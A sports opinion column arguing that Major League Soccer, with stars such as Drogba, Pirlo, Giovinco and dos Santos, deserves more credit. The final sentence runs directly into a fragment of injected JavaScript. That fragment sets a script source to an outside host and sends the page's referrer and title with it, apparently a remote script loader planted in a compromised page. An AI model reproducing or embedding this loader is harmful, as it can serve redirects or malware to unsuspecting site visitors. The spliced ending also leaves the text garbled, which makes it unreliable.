By Ryan Goodwin, Sports and Health Editor
American’s premier “soccer” competition, MLS, returns this month, and will once again play host to a huge amount of premier stars.
Names such as Robbie Keane, Andrea Pirlo, Frank Lampard, Steven Gerrard and Kaka will all be featured this coming season, as they look to take the title away from the Portland Timbers – a side whose squad features no prominent European players. They will be matched by squads that also boast the likes of Ashley Cole and Didier Drogba, and with a such a huge amount of players on the other side of the Atlantic, expect many games to be shown on Sky Sports once again.
A trending criticism of MLS however, is that most of the ‘big’ stars are all well past their prime and looking to retire. This may be true for some, but looking at Robbie Keane and Didier Drogba – with the latter scoring 12 in 14 games – there is still plenty to see from some others.
As well as this, the league still offers plenty of players in their prime.
With Toronto’s Sebastian Giovinco winning the MVP award last season for an incredible 22 goals and 16 assists in 33 games, he has forged his way back into the Italian thoughts for the upcoming European Championships. LA Galaxy’s Giovani dos Santos is also known for spells at Barcelona, Tottenham Hotspur and Villareal, and is still only 26-years-old. Add this to the likes of Clint Dempsey, Kei Kamara and Canada’s Cyle Larin and there is plenty of talent brought up through the North American ranks that are still performing at a very high quality.
This is a league that is much more interesting than people might give it credit for. It might not have the financial backing that China’s growing Super League has, or the ever-present reputation of the European leagues, but it is one that is on the up. With talented players joining a variety of different clubs there is not one that stands out as a clear winner. After all, Portland won without a Drogba, a Pirlo or a Kaka.
Seeing such players on the pitch again may bring nothing but nostalgia to some viewers, but MLS has proven in the past few years that there is some form of entertainment value in it, provided it gets the chance.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;